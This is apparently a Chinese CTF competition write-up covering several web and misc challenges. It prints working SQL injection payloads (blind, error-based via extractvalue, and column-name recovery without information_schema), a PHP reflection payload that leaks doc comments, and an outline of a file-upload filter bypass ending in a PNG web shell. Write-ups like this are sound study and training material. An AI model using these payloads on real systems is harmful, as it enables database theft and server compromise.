内容目录
【WEB】easy_sql
一开始L1sper发现可以盲注:uname=1′)or(sleep(1))and(‘1
但是information_schema被ban了,获取不到列名
一般无列名注入用union,但是union也被ban了
然后L1sper提供了另一种思路:
select (select 1,2)>(select 1,3);
然后我发现其实开了报错:
python .\SerialInjector.py http://119.3.228.32:25000/ 40 0.2 post "uname=-1') or extractvalue(1,concat(1,if((select (select 1,'no','{basename}')>(select * from flag)),'dsadasda',0))) and('1&passwd=&Submit=登录"
但是这样注出来没有区分大小写
然后看到如下博文
mysql 注入 information_schema_绕过IDS过滤information_schema继续注入_宇文数学的博客-CSDN博客
使用如下语句获得列名
select * from (select * from flag as a join flag as b using(id,no)) as c
直接报错拿flag
uname=1')^if(ascii(substr((select(extractvalue('1',concat('~',( select `9d719af3-2730-456e-98b7-4421dd54d713` from flag))))),1,1)),1,0)#
&passwd=1
【WEB】easy_source
扫目录发现源码备份.index.php.swo
猜测flag在文件的注释中,然后利用getDocComment()的方法,构造一个反射对象来打印所有类的注释找到flag
payload:
?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
【MISC】runningpixel
有一个像素点在图中到处跑,颜色#e9e9e9
弄成图片,看看字母如何一个一个出
from PIL import Image,ImageDraw
img=Image.open(r"C:\Users\q1079\Desktop\running_pixel.gif")
res=Image.new("RGB",(400,400),(255, 255, 255))
drawer = ImageDraw.Draw(res)
for i in range(382):
print(i,end="\r")
img.seek(i)
im=img.convert("RGB").load()
discover=False
for x in range(400):
for y in range(400):
r,g,b=im[x,y]
if (r,g,b)==(233,233,233):
# print(x,y)
drawer.point((x,y),(0,0,0))
discover=True
res.save(r"C:\Users\q1079\Desktop\233\{i}.jpg")
if discover:
break
【WEB】middle_source
利用 session.upload_progres
进行文件包含,有时间复现了再补充
【WEB】upload
文件名检查绕过(mb_strtolower('%c4%b0')=='i'
)+文件头检查绕过(篡改大小字段的图片头+zip文件内容)+条件竞争解压+二次渲染图片马(scandir+file_get_contents)
参考链接:Encoding Web Shells in PNG IDAT chunks | Application Security
参考链接:CTF-中文件上传(2)_欢迎来到神林的博客-CSDN博客_ctf文件上传
具体有时间复现再补充
后来打了个美团CTF,就。。。很难受